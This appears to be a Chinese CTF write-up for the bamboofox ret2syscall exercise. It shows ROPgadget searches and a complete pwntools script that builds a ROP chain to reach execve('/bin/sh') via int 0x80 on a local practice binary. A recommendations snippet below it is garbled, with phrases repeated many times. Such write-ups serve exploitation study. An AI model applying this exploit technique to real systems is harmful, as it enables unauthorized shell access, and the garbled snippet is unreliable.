基本ROP之ROPgadget

例题: bamboofox 中的 ret2syscall

检查保护机制 堆栈不可执行 随机地址没开

利用gadgets获得shell

把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用

ax 0xb

bx bin/sh的地址

cx 0

dx 0

寻找控制 eax 的gadgets

ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

 寻找控制 ebx 的gadgets

ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

 获得 /bin/sh 字符串对应的地址

ROPgadget --binary rop --string 'bin/sh'

 int 80 的地址

 收集完信息编写脚本

from pwn import *
#p=remote()
p=process('./rop')
pop_ax=0x80bb196
pop_dx_cx_bx=0x0806eb90
sh=0x080be408
int_80=0x08049421
payload=b'a'*112+p32(pop_ax)+p32(0xb)+p32(pop_dx_cx_bx)+p32(0)+p32(0)+p32(sh)+p32(int_80)
p.sendline(payload)
p.interactive()

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
RopRop 是 Rapid Open PlatformRapid Open Platform Rapid Open Platform Rapid Open PlatformRapid Open Platform Rapid Open PlatformRapid Open PlatformRapid Open Platform Rapid Open PlatformRapid Open Platform Rapid Open Platform的简称,它 的简称,它 不同于一般纯技术型的 不同于一般纯技术型的 不同于一般纯技术型的 不同于一般纯技术型的 不同于一般纯技术型的 不同于一般纯技术型的 Web ServiceWeb Service Web Service Web ServiceWeb ServiceWeb Service 框架(如 CXFCXFCXF,JerseyJersey Jersey Jersey等) ,RopRop 致力于构建 致力于构建 致力于构建 服务开放平台 服务开放平台 服务开放平台 服务开放平台 的框架 的框架 ,您可以使用 ,您可以使用 ,您可以使用 ,您可以使用 RopRop 开发类似于淘宝 开发类似于淘宝 开发类似于淘宝 开发类似于淘宝 服务开放平台 服务开放平台 服务开放平台 这样的服务平台 这样的服务平台 这样的服务平台 这样的服务平台 。RopRopRop充分借鉴了当前大型网站的 充分借鉴了当前大型网站的 充分借鉴了当前大型网站的 充分借鉴了当前大型网站的 充分借鉴了当前大型网站的 充分借鉴了当前大型网站的 服务开放平台 服务开放平台 服务开放平台 的设计思 的设计思 路, 汲取了它们成功的实践经验, 汲取了它们成功的实践经验, 汲取了它们成功的实践经验, 汲取了它们成功的实践经验, 汲取了它们成功的实践经验, 汲取了它们成功的实践经验, 对服务开放平台 服务开放平台 服务开放平台 服务开放平台 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 的很多应用层领域问题给出了解决方案,开 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发者可以直接使用这些解决方案,也在此基础上进行个性化扩展。 发
ropgadget是一个用于构建ROP(Return Oriented Programming)链的工具,它能够从二进制文件中提取出可供利用的ROP gadgets(即一系列具有特定功能的指令序列)。ROP链是一种在没有执行代码注入的情况下,利用程序中已存在的代码片段来构造攻击的方法。 要下载ropgadget,首先需要确保系统中已经安装了Python和pip(Python的包管理器)。然后可以使用以下命令来安装ropgadget: 1. 打开终端或命令提示符窗口。 2. 输入以下命令并按下回车键:pip install ropgadget 3. 该命令将自动下载并安装ropgadget及其依赖项。 安装完成后,可以使用ropgadget命令来运行该工具。例如,要在名为"binary"的二进制文件中查找ROP gadgets,可以使用以下命令: ropgadget --binary binary 该命令将会在终端输出中显示找到的ROP gadgets的列表,包括每个gadget的地址和指令。 使用ropgadget可以帮助安全研究人员和渗透测试人员更方便地分析目标程序的漏洞,并构建攻击载荷。通过寻找合适的ROP gadgets并组合它们,攻击者可以利用程序本身的代码段来实现特定的攻击目的,比如绕过保护机制、执行特定的系统调用、获取敏感信息等。 总之,ropgadget是一个用于构建ROP链的有用工具,它能够帮助研究人员和攻击者在没有代码注入的情况下进行攻击,因此在进行安全研究和漏洞利用方面具有重要价值。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值